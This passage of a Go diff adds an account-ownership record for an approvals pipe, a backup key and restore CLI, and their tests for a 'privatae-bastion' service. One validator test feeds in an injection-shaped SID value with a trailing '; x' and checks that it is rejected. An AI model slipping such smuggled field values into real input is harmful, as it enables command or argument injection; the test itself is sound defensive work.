scm, err := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_CONNECT)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("cannot ask the Service Control Manager: %w", err)
|
||||
}
|
||||
defer windows.CloseServiceHandle(scm)
|
||||
name, err := windows.UTF16PtrFromString(winServiceName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
h, err := windows.OpenService(scm, name, windows.SERVICE_QUERY_STATUS)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("cannot query the %s service: %w", winServiceName, err)
|
||||
}
|
||||
defer windows.CloseServiceHandle(h)
|
||||
var st windows.SERVICE_STATUS_PROCESS
|
||||
var need uint32
|
||||
if err := windows.QueryServiceStatusEx(h, windows.SC_STATUS_PROCESS_INFO,
|
||||
(*byte)(unsafe.Pointer(&st)), uint32(unsafe.Sizeof(st)), &need); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return st.ProcessId, nil
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
package main
|
||||
|
||||
// approvals_owner.go — the one account whose tray the approvals pipe serves.
|
||||
//
|
||||
// The pipe (approvalpipe.go) admits a process only when it runs as the person
|
||||
// signed in to its own active session. On a machine with more than one
|
||||
// account, that is any of them. The approvals belong to the person who set the
|
||||
// bastion up for their Host, so the service records that account's SID in its
|
||||
// own state, and the pipe refuses every other SID for list, deny and approve.
|
||||
//
|
||||
// WHO WRITES IT. An installer's elevated step (`npx cseries`), with machine
|
||||
// authority, into the system service's state, which a process running as the
|
||||
// person can neither write nor read: `approvals-owner --sid <SID>`. The SID is
|
||||
// the account that ran the installer, which the elevated step may not be (it
|
||||
// may run as another administrator), so it is passed in.
|
||||
//
|
||||
// A RERUN FROM ANOTHER ACCOUNT can neither change the owner silently nor lock
|
||||
// the first owner out. The same SID again changes nothing. A different SID is
|
||||
// refused, and the recorded owner stays exactly as it was, unless --replace is
|
||||
// given. --replace is taken only on a console, so it is a person at an
|
||||
// Administrator terminal handing the approvals over on purpose: an installer
|
||||
// runs its commands with their output captured, so it can never pass it. A
|
||||
// record that exists but cannot be read counts as an owner for this rule, so
|
||||
// a damaged file is never quietly replaced; the pipe serves nobody until an
|
||||
// administrator rewrites it with --replace. Refusing here costs the second
|
||||
// account a message naming the command; taking the record over would hand the
|
||||
// first person's approvals to someone else, and clearing it would lock them out.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const approvalsOwnerFile = "approvals_owner.json"
|
||||
|
||||
type approvalsOwnerRecord struct {
|
||||
SID string `json:"sid"`
|
||||
SetAt string `json:"set_at"`
|
||||
}
|
||||
|
||||
var winSIDShape = regexp.MustCompile(`^S-1-[0-9]+(-[0-9]+)+$`)
|
||||
|
||||
// approvalsOwnerSIDOK: a well-formed SID of a person's account.
|
||||
func approvalsOwnerSIDOK(sid string) bool {
|
||||
return winSIDShape.MatchString(sid) && winPersonSID(sid)
|
||||
}
|
||||
|
||||
func approvalsOwnerPath() (string, error) {
|
||||
d, err := configDirPath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(d, approvalsOwnerFile), nil
|
||||
}
|
||||
|
||||
// approvalsOwnerLoad reads the record. present is true when a record exists,
|
||||
// readable or not; sid is "" unless it is readable and names a person.
|
||||
func approvalsOwnerLoad() (sid string, present bool, err error) {
|
||||
p, err := approvalsOwnerPath()
|
||||
if err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
raw, err := os.ReadFile(p)
|
||||
if errors.Is(err, fs.ErrNotExist) {
|
||||
return "", false, nil
|
||||
}
|
||||
if err != nil {
|
||||
return "", true, err
|
||||
}
|
||||
var r approvalsOwnerRecord
|
||||
if err := json.Unmarshal(raw, &r); err != nil {
|
||||
return "", true, fmt.Errorf("%s cannot be read: %w", p, err)
|
||||
}
|
||||
if !approvalsOwnerSIDOK(r.SID) {
|
||||
return "", true, fmt.Errorf("%s names no person's account", p)
|
||||
}
|
||||
return r.SID, true, nil
|
||||
}
|
||||
|
||||
// approvalsOwner is the SID the pipe serves, "" when none is recorded or the
|
||||
// record cannot be read: the pipe then serves nobody.
|
||||
func approvalsOwner() string {
|
||||
sid, _, err := approvalsOwnerLoad()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return sid
|
||||
}
|
||||
|
||||
// pipeOwnerRefusal says why client c is not the account the lane serves, or ""
|
||||
// when it is.
|
||||
func pipeOwnerRefusal(c pipeClient, owner string) string {
|
||||
switch {
|
||||
case owner == "":
|
||||
return "no account is recorded as owning this machine's approvals; from an Administrator terminal: " +
|
||||
"privatae-bastion approvals-owner --sid <your account's SID>"
|
||||
case !strings.EqualFold(owner, c.UserSID):
|
||||
return "this machine's approvals belong to another account, not " + pipeWho(c)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ownerConsole and ownerServiceState are seams so the suite drives the
|
||||
// command on any machine; nothing outside tests assigns them.
|
||||
var (
|
||||
ownerConsole = stdioIsConsole
|
||||
ownerServiceState = func() string {
|
||||
return enrolServiceStateRefusal(runtime.GOOS, systemService.installed, systemService.authority, systemService.err)
|
||||
}
|
||||
)
|
||||
|
||||
// privatae-bastion approvals-owner --sid <SID> [--replace]
|
||||
func cmdApprovalsOwner(sid string, replace bool) error {
|
||||
if err := requireMachineAuthority("approvals-owner"); err != nil {
|
||||
return err
|
||||
}
|
||||
if why := ownerServiceState(); why != "" {
|
||||
return fmt.Errorf("approvals-owner records the owner in the system service's state: %s — nothing was changed", why)
|
||||
}
|
||||
if !approvalsOwnerSIDOK(sid) {
|
||||
return fmt.Errorf("%q is not the SID of a person's account (S-1-5-21-… or S-1-12-1-…) — nothing was changed", sid)
|
||||
}
|
||||
if replace && !ownerConsole() {
|
||||
return errors.New("approvals-owner --replace hands this machine's approvals to another account, and is taken only " +
|
||||
"in an Administrator terminal; this one's input or output goes to a file or a pipe — nothing was changed")
|
||||
}
|
||||
cur, present, err := approvalsOwnerLoad()
|
||||
switch {
|
||||
case err == nil && strings.EqualFold(cur, sid):
|
||||
fmt.Printf("approvals on this machine already belong to %s\n", sid)
|
||||
return nil
|
||||
case present && !replace:
|
||||
was := cur
|
||||
if err != nil {
|
||||
was = "an account its record no longer names readably (" + err.Error() + ")"
|
||||
}
|
||||
return fmt.Errorf("this machine's approvals belong to %s, and stay with it — nothing was changed.\n"+
|
||||
" To hand them to %s, run from an Administrator terminal: privatae-bastion approvals-owner --sid %s --replace", was, sid, sid)
|
||||
}
|
||||
p, err := approvalsOwnerPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(p), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := json.MarshalIndent(approvalsOwnerRecord{SID: sid, SetAt: time.Now().UTC().Format(time.RFC3339)}, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := atomicWrite(p, raw); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("approvals on this machine belong to %s; the tray serves that account only\n", sid)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
//go:build !windows
|
||||
|
||||
// Uses withMachineAuthority, which lives behind //go:build !windows (see
|
||||
// anchor_test.go's header).
|
||||
|
||||
package main
|
||||
|
||||
// `approvals-owner` (approvals_owner.go): the account whose tray the pipe
|
||||
// serves is recorded with machine authority, in the service's state, and is
|
||||
// never changed silently. Every value here is invented.
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const otherTestUser = "S-1-5-21-1111111111-2222222222-3333333333-1002"
|
||||
|
||||
func ownerTestBox(t *testing.T) {
|
||||
t.Helper()
|
||||
uiTestConfigDir(t)
|
||||
withMachineAuthority(t, true)
|
||||
prevState, prevConsole := ownerServiceState, ownerConsole
|
||||
ownerServiceState = func() string { return "" }
|
||||
ownerConsole = func() bool { return false }
|
||||
t.Cleanup(func() { ownerServiceState, ownerConsole = prevState, prevConsole })
|
||||
}
|
||||
|
||||
func TestApprovalsOwnerNeedsMachineAuthorityTheServiceStateAndAPerson(t *testing.T) {
|
||||
ownerTestBox(t)
|
||||
withMachineAuthority(t, false)
|
||||
if err := cmdApprovalsOwner(pipeTestUser, false); err == nil || !strings.Contains(err.Error(), "machine authority") {
|
||||
t.Fatalf("without machine authority: %v", err)
|
||||
}
|
||||
withMachineAuthority(t, true)
|
||||
ownerServiceState = func() string { return "the bastion is not installed as this machine's service yet" }
|
||||
if err := cmdApprovalsOwner(pipeTestUser, false); err == nil || !strings.Contains(err.Error(), "system service's state") {
|
||||
t.Fatalf("outside the service's state: %v", err)
|
||||
}
|
||||
ownerServiceState = func() string { return "" }
|
||||
for _, bad := range []string{"S-1-5-18", "S-1-5-32-544", "S-1-5-21-1-2-3-1001; x", ""} {
|
||||
if err := cmdApprovalsOwner(bad, false); err == nil {
|
||||
t.Fatalf("%q is no person's account, yet it was recorded", bad)
|
||||
}
|
||||
}
|
||||
if sid, present, _ := approvalsOwnerLoad(); present || sid != "" {
|
||||
t.Fatal("a refused command wrote an owner")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalsOwnerIsNeverChangedSilently(t *testing.T) {
|
||||
ownerTestBox(t)
|
||||
if err := cmdApprovalsOwner(pipeTestUser, false); err != nil {
|
||||
t.Fatalf("first record: %v", err)
|
||||
}
|
||||
// The same account again changes nothing.
|
||||
if err := cmdApprovalsOwner(pipeTestUser, false); err != nil {
|
||||
t.Fatalf("the same account again: %v", err)
|
||||
}
|
||||
// Another account's run: refused, and the first owner keeps the lane.
|
||||
if err := cmdApprovalsOwner(otherTestUser, false); err == nil || !strings.Contains(err.Error(), "stay with it") {
|
||||
t.Fatalf("another account must not take the approvals over: %v", err)
|
||||
}
|
||||
if approvalsOwner() != pipeTestUser {
|
||||
t.Fatalf("the owner changed to %q", approvalsOwner())
|
||||
}
|
||||
// --replace with captured output, as an installer would run it: refused.
|
||||
if err := cmdApprovalsOwner(otherTestUser, true); err == nil || !strings.Contains(err.Error(), "Administrator terminal") {
|
||||
t.Fatalf("--replace off a console must be refused: %v", err)
|
||||
}
|
||||
if approvalsOwner() != pipeTestUser {
|
||||
t.Fatal("a refused --replace changed the owner")
|
||||
}
|
||||
// At a terminal, on purpose: handed over.
|
||||
ownerConsole = func() bool { return true }
|
||||
if err := cmdApprovalsOwner(otherTestUser, true); err != nil {
|
||||
t.Fatalf("--replace at a terminal: %v", err)
|
||||
}
|
||||
if approvalsOwner() != otherTestUser {
|
||||
t.Fatal("--replace at a terminal did not hand the approvals over")
|
||||
}
|
||||
}
|
||||
|
||||
func TestADamagedOwnerRecordIsNotReplacedQuietly(t *testing.T) {
|
||||
ownerTestBox(t)
|
||||
p, _ := approvalsOwnerPath()
|
||||
if err := atomicWrite(p, []byte("not json")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := cmdApprovalsOwner(pipeTestUser, false); err == nil || !strings.Contains(err.Error(), "stay with it") {
|
||||
t.Fatalf("a damaged record must be replaced only with --replace: %v", err)
|
||||
}
|
||||
if raw, _ := os.ReadFile(p); string(raw) != "not json" {
|
||||
t.Fatal("the damaged record was rewritten")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,408 @@
|
||||
package main
|
||||
|
||||
// backupcli.go — `privatae-bastion backup ...`, the person's commands for
|
||||
// their own backups. Every one of them works with no host and no network:
|
||||
// a backup file, the key held here (or a key file the person names), and a
|
||||
// folder to write to are all they need.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"filippo.io/age"
|
||||
)
|
||||
|
||||
const backupUsage = `usage:
|
||||
privatae-bastion backup key init [--replace] [--label <name>]
|
||||
make this bastion's backup key here and print what to register on your
|
||||
host (Settings > Backup > keys: kind, label, public key). --replace makes
|
||||
a new one and keeps the old one, which still opens the backups made with it
|
||||
privatae-bastion backup key show
|
||||
the key this bastion holds, its fingerprint, and any older keys it keeps
|
||||
privatae-bastion backup reseal --sidecar <file> --to <host key> [--stamp <stamp>]
|
||||
[--out <file>] [--identity <key file>]
|
||||
seal one backup's key to a host's own key (age1... or base64), so that
|
||||
host, and only it, can open that one backup
|
||||
privatae-bastion backup requests [--host <host>]
|
||||
restore requests your host sent this machine
|
||||
privatae-bastion backup approve [--host <host>] <id> | deny [--host <host>] <id>
|
||||
answer one
|
||||
privatae-bastion backup restore-plan --dir <folder> [--stamp <stamp> --to <new host key>]
|
||||
restoring a lost host: list the backups in a folder, and reseal the one
|
||||
you choose to the key of the host that replaces it
|
||||
privatae-bastion backup share --with <host> (--from <host> | --dir <folder>)
|
||||
let the host paired as <host> list and send the backups in another
|
||||
host's backup folder here (or any folder) — how a host that replaces a
|
||||
lost one reaches the copies the lost one kept on this machine
|
||||
privatae-bastion backup shares --with <host> / unshare --with <host> <name>
|
||||
the folders shared with a host, and taking one back`
|
||||
|
||||
func cmdBackup(args []string) error {
|
||||
if len(args) == 0 {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
switch args[0] {
|
||||
case "key":
|
||||
if len(args) >= 2 && args[1] == "init" {
|
||||
replace := false
|
||||
var a []string
|
||||
for _, x := range args[2:] {
|
||||
if x == "--replace" {
|
||||
replace = true
|
||||
continue
|
||||
}
|
||||
a = append(a, x)
|
||||
}
|
||||
flags, rest := backupFlags(a, "--label")
|
||||
if len(rest) != 0 {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupKeyInit(replace, flags["--label"])
|
||||
}
|
||||
if len(args) >= 2 && args[1] == "show" {
|
||||
return cmdBackupKeyShow()
|
||||
}
|
||||
case "reseal":
|
||||
flags, rest := backupFlags(args[1:], "--sidecar", "--to", "--stamp", "--out", "--identity")
|
||||
if len(rest) != 0 || flags["--sidecar"] == "" || flags["--to"] == "" {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupReseal(flags["--sidecar"], flags["--to"], flags["--stamp"], flags["--out"], flags["--identity"])
|
||||
case "requests":
|
||||
host, rest := takeHostFlag(args[1:])
|
||||
if len(rest) != 0 {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupRequests(host)
|
||||
case "approve", "deny":
|
||||
host, rest := takeHostFlag(args[1:])
|
||||
if len(rest) != 1 {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupDecide(host, rest[0], args[0] == "approve")
|
||||
case "share":
|
||||
flags, rest := backupFlags(args[1:], "--with", "--from", "--dir")
|
||||
if len(rest) != 0 || flags["--with"] == "" || (flags["--from"] == "") == (flags["--dir"] == "") {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupShare(flags["--with"], flags["--from"], flags["--dir"])
|
||||
case "shares":
|
||||
flags, rest := backupFlags(args[1:], "--with")
|
||||
if len(rest) != 0 || flags["--with"] == "" {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupShares(flags["--with"])
|
||||
case "unshare":
|
||||
flags, rest := backupFlags(args[1:], "--with")
|
||||
if len(rest) != 1 || flags["--with"] == "" {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupUnshare(flags["--with"], rest[0])
|
||||
case "restore-plan":
|
||||
flags, rest := backupFlags(args[1:], "--dir", "--stamp", "--to", "--out", "--identity")
|
||||
if len(rest) != 0 || flags["--dir"] == "" {
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
return cmdBackupRestorePlan(flags)
|
||||
}
|
||||
return errors.New(backupUsage)
|
||||
}
|
||||
|
||||
// backupFlags splits `--name value` pairs (only the names given) from the
|
||||
// positional arguments.
|
||||
func backupFlags(args []string, names ...string) (map[string]string, []string) {
|
||||
known := map[string]bool{}
|
||||
for _, n := range names {
|
||||
known[n] = true
|
||||
}
|
||||
out := map[string]string{}
|
||||
var rest []string
|
||||
for i := 0; i < len(args); i++ {
|
||||
if known[args[i]] && i+1 < len(args) {
|
||||
out[args[i]] = args[i+1]
|
||||
i++
|
||||
continue
|
||||
}
|
||||
rest = append(rest, args[i])
|
||||
}
|
||||
return out, rest
|
||||
}
|
||||
|
||||
func cmdBackupKeyInit(replace bool, label string) error {
|
||||
if label == "" {
|
||||
label, _ = os.Hostname()
|
||||
}
|
||||
if len(label) > 120 || strings.ContainsAny(label, "\n\r\t\x00") {
|
||||
return errors.New("--label must be one short line")
|
||||
}
|
||||
k, err := backupKeyInit(replace)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reg, _ := json.Marshal(map[string]string{"kind": "bastion", "label": label, "pubkey_b64": k.PubB64})
|
||||
fmt.Println("This bastion's backup key is made and kept here only:", k.Path)
|
||||
fmt.Println()
|
||||
fmt.Println(" fingerprint: ", k.Fingerprint)
|
||||
fmt.Println(" age recipient:", k.Recipient)
|
||||
fmt.Println()
|
||||
fmt.Println("Register it on your host (Settings > Backup > keys) with these three fields:")
|
||||
fmt.Println(" kind: bastion")
|
||||
fmt.Println(" label: ", label)
|
||||
fmt.Println(" public key:", k.PubB64)
|
||||
fmt.Println(" (as JSON:", string(reg)+")")
|
||||
fmt.Println()
|
||||
fmt.Println("From the host's next backup on, this key opens your backups, and this bastion can")
|
||||
fmt.Println("hand a restoring host the key to one of them. Keep a copy of the key file")
|
||||
fmt.Println("somewhere safe: without it (or another key you registered), those backups")
|
||||
fmt.Println("cannot be opened.")
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdBackupKeyShow() error {
|
||||
active, all, err := backupKeysLoad()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(all) == 0 {
|
||||
fmt.Println("no backup key on this machine — make one with `privatae-bastion backup key init`")
|
||||
return nil
|
||||
}
|
||||
for _, k := range all {
|
||||
state := "older key (still opens the backups made with it)"
|
||||
if active != nil && k.Fingerprint == active.Fingerprint {
|
||||
state = "current key"
|
||||
}
|
||||
fmt.Printf("%s %s\n public key: %s\n age recipient: %s\n made: %s\n key file: %s\n\n",
|
||||
k.Fingerprint, state, k.PubB64, k.Recipient, k.CreatedAt, k.Path)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func backupIDs(identityFile string) ([]age.Identity, error) {
|
||||
if identityFile != "" {
|
||||
return identitiesFromFile(identityFile)
|
||||
}
|
||||
return backupIdentities()
|
||||
}
|
||||
|
||||
func cmdBackupReseal(sidecarFile, to, stamp, out, identityFile string) error {
|
||||
ids, err := backupIDs(identityFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
r, err := parseBackupRecipient(to)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := os.ReadFile(sidecarFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sealed, sc, err := resealSidecar(raw, ids, r, stamp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if out == "" {
|
||||
pub, _ := recipientRaw(r)
|
||||
out = sc.Stamp + ".key.resealed-" + backupKeyFingerprint(pub) + ".age"
|
||||
}
|
||||
f, err := os.OpenFile(out, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot write %s: %w", out, err)
|
||||
}
|
||||
if _, err := f.Write(sealed); err != nil {
|
||||
_ = f.Close()
|
||||
return err
|
||||
}
|
||||
if err := f.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("the key to the backup of %s is sealed to %s in %s\n", sc.Stamp, r.String(), out)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ── restoring a lost host ───────────────────────────────────────────────────
|
||||
|
||||
type backupListing struct {
|
||||
Stamp string `json:"stamp"`
|
||||
Data string `json:"data,omitempty"`
|
||||
Bytes int64 `json:"bytes"`
|
||||
Sidecar string `json:"sidecar,omitempty"`
|
||||
}
|
||||
|
||||
func listBackupDir(dir string) ([]backupListing, error) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m := map[string]*backupListing{}
|
||||
for _, e := range entries {
|
||||
mm := backupFileRe.FindStringSubmatch(e.Name())
|
||||
if mm == nil || !e.Type().IsRegular() {
|
||||
continue
|
||||
}
|
||||
l := m[mm[1]]
|
||||
if l == nil {
|
||||
l = &backupListing{Stamp: mm[1]}
|
||||
m[mm[1]] = l
|
||||
}
|
||||
p := filepath.Join(dir, e.Name())
|
||||
if mm[2] == "tar.zst.age" {
|
||||
fi, _ := e.Info()
|
||||
l.Data = p
|
||||
if fi != nil {
|
||||
l.Bytes = fi.Size()
|
||||
}
|
||||
} else {
|
||||
l.Sidecar = p
|
||||
}
|
||||
}
|
||||
var out []backupListing
|
||||
for _, l := range m {
|
||||
out = append(out, *l)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].Stamp > out[j].Stamp })
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func cmdBackupRestorePlan(flags map[string]string) error {
|
||||
list, err := listBackupDir(flags["--dir"])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flags["--stamp"] == "" {
|
||||
if len(list) == 0 {
|
||||
fmt.Println("no backups in", flags["--dir"])
|
||||
return nil
|
||||
}
|
||||
fmt.Println("backups in", flags["--dir"], "(newest first):")
|
||||
for _, l := range list {
|
||||
note := ""
|
||||
switch {
|
||||
case l.Data == "":
|
||||
note = " (sidecar only — the backup file itself is not here)"
|
||||
case l.Sidecar == "":
|
||||
note = " (no sidecar here, so it cannot be resealed)"
|
||||
}
|
||||
fmt.Printf(" %s %d bytes%s\n", l.Stamp, l.Bytes, note)
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Println("To restore one onto the host that replaces a lost one, run again with")
|
||||
fmt.Println(" --stamp <stamp> --to <the new host's key, from its Settings > Backup > Restore>")
|
||||
return nil
|
||||
}
|
||||
if flags["--to"] == "" {
|
||||
return errors.New("say which host the backup is for: --to <the new host's key>")
|
||||
}
|
||||
var pick *backupListing
|
||||
for i := range list {
|
||||
if list[i].Stamp == flags["--stamp"] {
|
||||
pick = &list[i]
|
||||
}
|
||||
}
|
||||
if pick == nil || pick.Sidecar == "" {
|
||||
return fmt.Errorf("no backup of %s with a sidecar in %s", flags["--stamp"], flags["--dir"])
|
||||
}
|
||||
out := flags["--out"]
|
||||
if err := cmdBackupReseal(pick.Sidecar, flags["--to"], pick.Stamp, out, flags["--identity"]); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Println("Next, on the new host: Settings > Backup > Restore > use a resealed key, and give it")
|
||||
fmt.Println("that file. The new host then needs the backup file of", pick.Stamp+":")
|
||||
fmt.Println(" - in platform storage or your own S3 bucket, a new host finds it only if it has the")
|
||||
fmt.Println(" same host number as the lost one;")
|
||||
if pick.Data != "" {
|
||||
fmt.Println(" - from this machine: pair this bastion with the new host, and share this folder")
|
||||
fmt.Println(" with it (privatae-bastion backup share --with <new host> --dir <this folder>);")
|
||||
fmt.Println(" the new host then lists it and asks this bastion to send it.")
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Println("The host that restores it has to exist first. Running one on hardware you own needs")
|
||||
fmt.Println("infrastructure this bastion does not provide: see \"Restoring a lost host\" in the README.")
|
||||
return nil
|
||||
}
|
||||
|
||||
// ── sharing a folder with another pairing ───────────────────────────────────
|
||||
|
||||
func pairingByName(name string) (*Config, error) {
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cfg, err := findPairing(cfgs, name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if cfg == nil {
|
||||
return nil, fmt.Errorf("no pairing matches '%s' — paired hosts:\n %s", name, strings.Join(hostNames(cfgs), "\n "))
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func cmdBackupShare(with, from, dir string) error {
|
||||
reader, err := pairingByName(with)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
root := reader.backupRoot()
|
||||
if root == "" {
|
||||
return fmt.Errorf("%s has no backup folder on this machine", reader.HostName)
|
||||
}
|
||||
label := dir
|
||||
if from != "" {
|
||||
src, err := pairingByName(from)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if dir = src.backupRoot(); dir == "" {
|
||||
return fmt.Errorf("%s has no backup folder on this machine", src.HostName)
|
||||
}
|
||||
label = src.HostName
|
||||
} else {
|
||||
label = filepath.Base(filepath.Clean(dir))
|
||||
}
|
||||
if why := backupRootProblem(reader.HostName, root); why != "" {
|
||||
return errors.New(why)
|
||||
}
|
||||
s, err := addBackupShare(reader.HostName, root, dir, label)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s can now list the backups in %s as shared/%s, and ask this bastion to send\n", reader.HostName, s.Dir, s.Slug)
|
||||
fmt.Printf("them to it. It cannot write there. Take it back with: privatae-bastion backup unshare --with %s %s\n", with, s.Slug)
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdBackupShares(with string) error {
|
||||
reader, err := pairingByName(with)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
list := sharesFor(reader.HostName)
|
||||
if len(list) == 0 {
|
||||
fmt.Println("no folders are shared with", reader.HostName)
|
||||
return nil
|
||||
}
|
||||
for _, s := range list {
|
||||
fmt.Printf("shared/%s %s (shared %s)\n", s.Slug, s.Dir, s.Added)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdBackupUnshare(with, slug string) error {
|
||||
reader, err := pairingByName(with)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := dropBackupShare(reader.HostName, strings.TrimPrefix(slug, "shared/")); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("taken back:", reader.HostName, "can no longer list or send the backups in shared/"+strings.TrimPrefix(slug, "shared/"))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package main
|
||||
|
||||
// Gate: restoring a lost host from a backup kept on this machine reseals the
|
||||
// chosen backup's key to the new host and to nothing else, and refuses a
|
||||
// backup it cannot find.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"filippo.io/age"
|
||||
)
|
||||
|
||||
func TestRestorePlanResealsTheChosenBackupForTheNewHost(t *testing.T) {
|
||||
fx := newBackupFixture(t, "")
|
||||
dir := t.TempDir()
|
||||
_ = os.WriteFile(filepath.Join(dir, fixtureStamp+".key.age"), fx.sidecar(t), 0o600)
|
||||
_ = os.WriteFile(filepath.Join(dir, fixtureStamp+".tar.zst.age"), []byte("ciphertext"), 0o600)
|
||||
_ = os.WriteFile(filepath.Join(dir, "20260101T000000Z.tar.zst.age"), []byte("no sidecar"), 0o600)
|
||||
|
||||
l, err := listBackupDir(dir)
|
||||
if err != nil || len(l) != 2 || l[0].Stamp != fixtureStamp || l[0].Sidecar == "" || l[1].Sidecar != "" {
|
||||
t.Fatalf("listing: %v %+v", err, l)
|
||||
}
|
||||
|
||||
newHost, _ := age.GenerateX25519Identity()
|
||||
out := filepath.Join(t.TempDir(), "resealed.age")
|
||||
flags := map[string]string{"--dir": dir, "--stamp": fixtureStamp, "--to": newHost.Recipient().String(),
|
||||
"--out": out, "--identity": fx.recoveryFile}
|
||||
if err := cmdBackupRestorePlan(flags); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sealed, err := os.ReadFile(out)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := armorOpen(t, sealed, newHost); !bytes.Equal(got, fx.plain) {
|
||||
t.Fatal("the new host received a different record")
|
||||
}
|
||||
// Never overwrites a file already there.
|
||||
if err := cmdBackupRestorePlan(flags); err == nil {
|
||||
t.Fatal("a second reseal overwrote the first")
|
||||
}
|
||||
flags["--stamp"] = "20260101T000000Z"
|
||||
flags["--out"] = filepath.Join(t.TempDir(), "x.age")
|
||||
if err := cmdBackupRestorePlan(flags); err == nil || !strings.Contains(err.Error(), "with a sidecar") {
|
||||
t.Fatalf("a backup with no sidecar was not refused as such: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,548 @@
|
||||
package main
|
||||
|
||||
// backup_fetch — the bastion PULLS a backup artifact onto the user's own machine.
|
||||
//
|
||||
// WHY PULL AND NOT PUSH, measured rather than assumed. The obvious route was
|
||||
// ctx_put: it already writes a blob under a sandboxed root and it is already
|
||||
// granted. It cannot carry a backup. The whole management job is ONE WebSocket
|
||||
// frame (`C` + JSON of {op,args}, the host's mgmt worker)
|
||||
// and the payload rides inside args[1] as base64, so nothing streams and the
|
||||
// bytes are buffered whole on both sides. Measured (ctxcap_measure_test.go):
|
||||
// the frame crosses the host's 16 MiB WebSocket frame ceiling — its live
|
||||
// limit, since nothing overrides the server default — at just under 12 MiB of
|
||||
// plaintext. A 13 GiB export (a real entity's tree) is 1,110 sequential
|
||||
// dispatches, each one job per
|
||||
// worker connection, against a 30 s host-side dispatch timeout. Chunking that
|
||||
// would be a file-transfer protocol written on top of a command channel.
|
||||
//
|
||||
// So the host sends a short-lived signed URL and a digest, and this machine
|
||||
// fetches it over its OWN internet connection, streaming to disk with constant
|
||||
// memory. The artifact is already encrypted, to keys the platform does not hold,
|
||||
// before it leaves the host, so the URL is not a
|
||||
// secret worth much and the bytes are not readable in flight by anyone.
|
||||
//
|
||||
// ASYNC, because the host cannot wait. The host's management dispatch has a
|
||||
